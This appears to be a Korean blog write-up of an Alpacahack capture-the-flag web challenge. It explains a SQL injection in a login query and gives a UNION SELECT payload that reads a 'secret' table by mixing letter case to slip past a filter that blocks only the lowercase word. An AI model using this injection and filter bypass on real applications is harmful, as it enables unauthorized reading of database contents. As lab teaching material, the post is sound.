반응형
문제설명
Topic: SQL
분야: Web
난이도: Medium
The secret table is untouchable!
코드 분석

- username과 password를 나타냄
- alpaca면 pacapaca / guest면 password / admin 이면 fb8fe2baa0190046

- username과 password는 이용자 입력으로 받음
- username과 apssword 값이 secret이면 The table is secret출력
- database.db에 연결하고 쿼리문 출력
- 에러면 에러 반환, user가 없다면 invalid credentials 출력

- SQL문 실행하는데 users 테이블을 만드는데 username은 기본키 password는 null값이 아니여야 함 (반드시 값이 있어야 함)
- USERS의 딕셔너리를 하나씩 순회하는데 users테이블에 username과 password를 삽입 이미 있으면 삽입 무시
- secret 테이블을 만드는데 컬럼은 flag이고 기본 키이다.
- flag테이블에 FLAG 값 추가
취약점 분석

사용자의 입력 그대로 SQL구문이 실행됨
SELECT * FROM users WHERE username='{username}' AND password='{password}';

- WAF에서 secret이라는 소문자만 막고 있음 대/소문자 섞거나 대문자로 우회가능
익스플로잇
' UNION SELECT flag, 'x' FROM SeCrEt -- ' AND password='1111';
- UNION 문구를 이용해 SQL구문을 연결해 실행
- users의 컬럼 수가 2개 맞춰서 flag 'x' 컬럼 2개 생성
- secret만 막으니까 SeCrEt로 우회
이대로 Username에 삽입해주면
SELECT * FROM users WHERE username='' UNION SELECT flag, 'x' FROM SeCrEt -- ' AND password='anything'; ' AND password='1111';
이러한 구문이 완성되고 실행됨
플래그 획득

반응형
'Alpacahack' 카테고리의 다른 글
| Alpacahack: Stateless Auth (0) | 2026.01.25 |
|---|---|
| Alpacahack: Animal Viewer (0) | 2026.01.22 |
| Alpacahack: dice roll (0) | 2026.01.21 |
| Alpacahack: Fushigi Crawier (0) | 2026.01.19 |
| Alpacahack: I wanna be the Admin (0) | 2026.01.16 |